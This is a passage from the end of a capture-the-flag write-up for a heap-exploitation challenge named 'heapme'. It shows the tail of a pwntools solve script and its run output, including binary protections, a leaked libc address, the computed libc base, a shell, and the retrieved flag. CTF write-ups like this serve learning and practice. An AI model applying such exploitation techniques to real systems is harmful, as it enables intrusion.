r.interactive()
r.close()
And the execution of the script:
$ ./solve.py a
[*] '/home/user/Documents/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/user/Documents/heapme'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/usr/bin/socat': pid 19511
[*] leak: 0x7fd8d682cb78
[*] libcbase: 0x7fd8d6468000
[*] libc.bss: 0x7fd8d682c1e1
[*] Switching to interactive mode
$ cat flag.txt
https://ctf.hexpresso.fr/756875e19d16013c5072b2b6e17804f7
Conclusion
Thanks for the fun challenges, and see you in Lille :-)